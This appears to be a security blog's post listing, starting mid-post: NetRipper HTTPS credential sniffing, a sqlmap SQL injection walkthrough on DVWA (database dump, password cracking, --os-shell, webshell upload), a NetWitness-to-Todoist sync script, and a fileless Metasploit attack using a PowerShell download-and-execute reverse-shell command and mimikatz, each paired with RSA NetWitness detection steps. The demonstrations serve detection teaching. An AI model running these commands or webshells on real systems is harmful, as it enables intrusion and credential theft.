He can then launch the exploit using: exploit


Now that the hooks are set, NetRipper will sniff the traffic for those processes in clear-text and save the content on the victim's machine, by default under the current user's TEMP folder (can be changed with the DATAPATH option).


The victim will now try to authenticate to a web application over HTTPS. In this example we will use GMail, but it could be anything.



Now the attacker will read the content of the firefox.exe_PR_Write.txt file. Even though the victim is using HTTPS, the attacker is able to see both the username ( and the password (password123) of the victim in clear-text.



The same could be done with Chrome, Putty, SecureCRT, WinSCP, Lync, Outlook ...

It is also not limited to login information, but to anything sent or received by the process.




Detection Using RSA NetWitness Endpoint

Now that we have seen how easily an attacker can sniff encrypted traffic from the user via process hooking, bypassing the victim's antivirus, we will now see how to detect it using RSA NetWitness Endpoint.


In the below screenshot, we can see how RSA NWE detects:

- the hooked process (firefox.exe)

- the hooked module names

- the hooked symbols

- an elevated IIOC Score

- the list IIOCs that have been triggered


In addition, by analyzing the module, we can see references to NetRipper and to the files and folders used by the tool.

An SQL Injection attack is not only limited to dumping a database, but can also allow the attacker to upload files to the remote server and consequently gain remote access via a WebShell.

WebShells can receive commands from the attackers mainly using 2 methods:

  • based on GET requests, which can easily be detected through logs and SIEM solutions as the commands are visible in the URL
  • based on POST, which is a bit more stealthy as the commands are submitted in the payload and therefore not part of the logs


We will see how to:

  • use sqlmap to perform an SQL Injection attack
  • dump the database using sqlmap
  • use sqlmap to automatically provide WebShell access based on GET requests
  • use sqlmap to upload a custom and more advanced WebShell (b374k) which relies on POST

To test the SQL Injections, we will use the DVWA (Damn Vulnerable Web Application), which is a web application purposely built with vulnerabilities and weaknesses for pen-testing.


Then we will see how the RSA NetWitness Suite can help in identifying SQL Injections and WebShells (whether using POST or GET).



Performing the SQL Injection Attack

We first need to access the web application, in my case, it is located at


To access the internal pages (which contains the vulnerable page), we first need to login. In a real life scenario, the vulnerability might not require authentication, or, the attacker could have gotten access to a valid user account through a phishing attack or brute-forcing. In our case, we will consider that we already have an account, admin/password.

Once logged in, we will go to the page which is vulnerable to SQL Injections. Again, in our case, we already know which page it is. Typically we could have use a web application vulnerability scanner to crawl the website and look for weaknesses.


To perform the attack, we will need 2 things:

  • The URL containing the parameters that need to be tested for vulnerabilities
  • The authentication cookie, as we need to be authenticated to be able to access the page, and therefore sqlmap will need to have access to reach the page


To get the cookie value, in Chrome,  it can be found in "Inspect --> Application --> Cookies"


We will now use this is sqlmap to test the page for SQL Injection vulnerabilities.

sqlmap -u "" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low"

sqlmap will try to identify the type of database as well as any parameter within the page vulnerable to SQL Injections. In our case, it identified that the "id" parameter is vulnerable and that the back-end database is MySQL.


We will now add the "--dbs" argument at the end of the command to list the available databases on the web server.

sqlmap -u "" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --dbs


sqlmap outputs the available databases. We want to look at the tables available under the "dvwa" database. To do that, we will replace "--dbs" with "-D dvwa --tables" to specifically list the tables of that database.

sqlmap -u "" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa --tables


sqlmap outputs the avialble tables. One of them is the "users" tables. We now want to output the columns of that table. To do that, we will replace "--tables" with "-T users --columns"

sqlmap -u "" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa -T users --columns


We can see there are 2 columns of interest, "user" and "password". To dump the content of these tables, we will replace "--columns" with "-C user,password --dump"

sqlmap -u "" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" -D dvwa -T users -C user,password --dump


sqlmap provides us with a list of usernames and password hashes. We can also see that sqlmap provides the option to store the hashes to try and crack them using a dictionary attack. We will answer "Y" to that and we will use the default dictionary.


sqlmap now shows the usernames with their respective clear-text passwords based on the dictionary attack.

This shows how sqlmap can be used to dump the content of a database. But sqlmap also provides the option to get shell access (via a WebShell).





Gaining WebShell Access with sqlmap

Using the same command structure, instead of listing databases, we will provide the "--os-shell" argument. This will make sqlmap upload a simple WebShell to the web server and interact with.

sqlmap -u "" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --os-shell


sqlmap will ask for some information regarding the language used by the web server. In our case it is PHP, so it knows to upload a PHP WebShell. We will also upload it to the default location (/xampp/htdocs/). We are provided with an interactive shell from which we can send commands and get the output back.


The problem with this type of WebShell is that it's very basic and uses GET requests, which can be easily detected using logs and SIEM solutions.

Next we will look how to upload our own files using sqlmap (instead of the default WebShell provided by sqlmap), such as the b374k WebShell.




Uploading Custom Files and WebShells using sqlmap

sqlmap allows to download and upload custom files. We will therefore use the "--file-write" and "--file-dest" parameters to upload our own files.

We will start by uploading a PHP upload page, from which we will be able to upload any file we want to the web server.

The following is the "upload.php" file:


$path_name = pathinfo($_SERVER['PHP_SELF']);
$this_script = $path_name['basename'];

<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
File: <input name="file" type="file" /><br />
<input type="submit" value="Upload" /></form>


if (!empty($_FILES["file"]))
if ($_FILES["file"]["error"] > 0)
{echo "Error: " . $_FILES["file"]["error"] . "<br>";}
{echo "Stored file:".$_FILES["file"]["name"]."<br/>Size:".($_FILES["file"]["size"]/1024)." kB<br/>";

// open this directory
$myDirectory = opendir(".");
// get each entry
while($entryName = readdir($myDirectory)) {$dirArray[] = $entryName;} closedir($myDirectory);
$indexCount = count($dirArray);
echo "$indexCount files<br/>";

echo "<TABLE border=1 cellpadding=5 cellspacing=0 class=whitelinks><TR><TH>Filename</TH><th>Filetype</th><th>Filesize</th></TR>\n";

for($index=0; $index < $indexCount; $index++)
if (substr("$dirArray[$index]", 0, 1) != ".")
echo "<TR>
<td><a href=\"$dirArray[$index]\">$dirArray[$index]</a></td>
echo "</TABLE>";


Once we upload this file, we will be able to access it through a browser and use it to upload our WebShell.

To upload the "upload.php" file using sqlmap, we will use the following command:

sqlmap -u "" --cookie="PHPSESSID=vjke7qnd0h71a92c7vambk0fh1;security=low" --file-dest="/xampp/htdocs/upload.php" --file-write="~/Desktop/upload.php"

In the above command, "/xampp/htdocs/upload.php" is the location where to write the file on the remote web server, and the "~/Desktop/upload.php" is the location of the WebShell on the local machine of the attacker.


Once uploaded, we can then access the upload page from a browser at the "" URL, from where we can upload the "b374k.php" WebShell (or any other file as well).


Once uploaded, we can then access the WebShell either by clicking on the filename in the list, or by browsing to

We now have access to a more advanced WebShell which allows us to:


Browse the file system, download files, upload files ...


List running processes with the option to kill them.


Or have an interactive shell from where to execute commands.


And all of it from an easy to use, user friendly graphic interface.

And most importantly, using POST requests instead of GET, which allows the specific commands executed not to be detected by the web server logs.






Now that we have seen how to perform this attack, here are some ways to detect the different steps using the RSA NetWitness Suite.


Using RSA NetWitness Packets, it is possible to detect SQL Injection attempts, whether the tool is abusing parameters in the URL (GET) or from within forms (POST), as the whole payload is captured and analyzed, as opposed to only the URL. In the below example we can see that RSA NetWitness Packets was able to detect the SQL Injection.



Then, it is possible to identify the the actual WebShell file that is being used, as well as the commands executed by the attacker. RSA NetWitness Packets is also able to identify that the web session contains CLI commands, which is an indicator of WebShell activity.



Having the entire network payload, it is also possible to reconstruct the WebShell session and see the commands and outputs, providing insight into what the attacker was actually able to get.



Using RSA NetWitness Endpoint, we would also be able to see the web server service running CLI commands, which is a suspicious behavior and typical of WebShells. The tracking section would allow us to see the exact commands executed.


Using both packets and endpoint, we would be able to identify the SQL Injection, the WebShell files used as part of the attack and the exact commands executed by the attacker, providing the full scope of the attack to the analyst. 

This is not an RSA officially supported integration.


This script will sync the incidents of a specific RSA NetWitness user to his Todoist account. He can then leverage the Todoist integrations with the Amazon Echo, Google Home, IFTTT …

It can be setup for multiple users using different Todoist account (add one per line in the config file).



The open incidents of a user, as well as their severity will be synced with Todoist.

Whenever an incident is removed from the user’s queue in NW (either closed, or moved to another analyst), it will be set as closed on Todoist. Closing an incident on Todoist will not close it on NW IM, it will just re-appear the next time a synchronization is triggered.






What you will need

You will need the API Token from your Todoist Account (Settings --> Integration --> API Token)



You will need the Project Number from Todoist. This will define to which project the incidents will be added to. By default it should be on the Inbox (if you want it to work with the Amazon Echo for example). From your browser, go to Todoist, click on Inbox and grab the ID from the URL (do not take “2F”). If you want to sync with another project, then click on that project and grab the ID.

If you setup this script on a Todoist project that already has items, the existing items will get deleted.


You will also need the username on RSA NetWitness.





Edit the nwim2todoist.conf file and add a line for each user you wish to do the synchronization for.

There shouldn’t be any empty lines or extra spaces in the file.

The following is the format: <nw_username>,<todoist_api_token>,<todoist_project_id>



Put both and nwim2todoist.conf in the same folder on the ESA Server

Make sure the ESA server has access to

Edit nwim2todoist.conf to have a line for each user for who to sync his associated incidents with his Todoist account





By default, the script will create an item on Todosit for each Incident called <INCIDENT ID> - <INCIDENT NAME>

If for privacy reasons you don’t want to sync the Incident Name and just have the Incident ID, then edit the file and change hide_name from 0 to 1.


Example with Privacy enabled:




Run the Script

Simply execute: python

Create a cron job to execute regularly.





Example without Privacy:



Example with Privacy:




credit to Ian Cuthbertson

Fileless infection is a method used to compromise a system without writing any file to disk. This allows to remain stealthy and avoid detection from some antiviruses, EPP and EDR solutions that are file based for detection.


We will look at:

  • How to perform the attack
  • How to detect it with RSA NetWitness




Testing the Attack

The following is an example of how to perform such an attack, gaining a Meterpreter shell on the victim’s machine using Metsaploit (on the attacker’s side) and Powershell (on the victim’s side) without writing anything to disk.

I am using Kali Linux as the Attacker and Windows 7 as the victim.

1st we need to run Metasploit:




To deliver the PowerShell script, we will use exploit/multi/script/web_delivery

use exploit/multi/script/web_delivery


Metasploit would generate the ps1 file, start a webserver and host it for delivery. We will use PowerShell on the victim’s machine to download the script and meterpreter payload, and load it directly into memory without writing anything to disk.

Now we will look at the parameters that need to be configured:

show options


We need to:

  • Set “Target” to 2 for PSH (PowerShell)
  • Set “LHOST” to the IP of the attacker (in my case,
  • Set the payload we want to use to get the reverse shell (I will use windows/meterpreter/reverse_tcp)

set target 2
set payload windows/meterpreter/reverse_tcp


We can now execute the payload:

exploit -j



To gain reverse shell on the victim, we just need to execute the following command (no malware installed, nothing will be written on disk, it will all happen from memory) by replacing the URL at the end with the one provided in the output of Metasploit under “Local IP” (with your IP address and the correct randomly generated filename):

powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring(‘');



We can now see that we have an active session in Metasploit.




We could then load mimikatz in memory to dump passwords, without touching the disk.

session -i 1

load mimikatz






Visibility and detection of such attacks is possible using RSA NetWitness Packets and RSA NetWitness Endpoint.


Using RSA NetWitness Packets

Reconstruction of the initial PowerShell script based on full packet capture from the network traffic:


Reconstruction of the Meterpreter payload based on full packet capture from the network traffic:





Using RSA NetWitness Endpoint


Using RSA NetWitness Endpoint, it is possible to also have the needed visibility to detect this type of attack even when the network traffic is encrypted, using memory and module behavior analytics on the endpoint.

Suspicious Threads detected showing that PowerShell.exe loaded a DLL in memory (Meterpreter):


By doing static analysis on the in-memory modules, we can try to identify them. We can see strings related to mimikatz in one of the modules:


And the IP address and Port Number used by the Meterpreter payload hard coded in the second module:


We can also see suspicious behaviors and IOCs that have been triggered for PowerShell:


We can also track the behavior of the different processes on the victim’s machine to see how the attack is performed and what commands the attacker has issues after gaining access. In this case:

  • the initial PowerShell command to grab the hosted PowerShell script and load it in memory
  • the executed PowerShell script with all parameter that load the Meterpreter payload in memory
  • the commands executed by the attacker after he gains access (whoami, hostname, ipconfig, netstat -an)


Filter Blog

By date: By tag: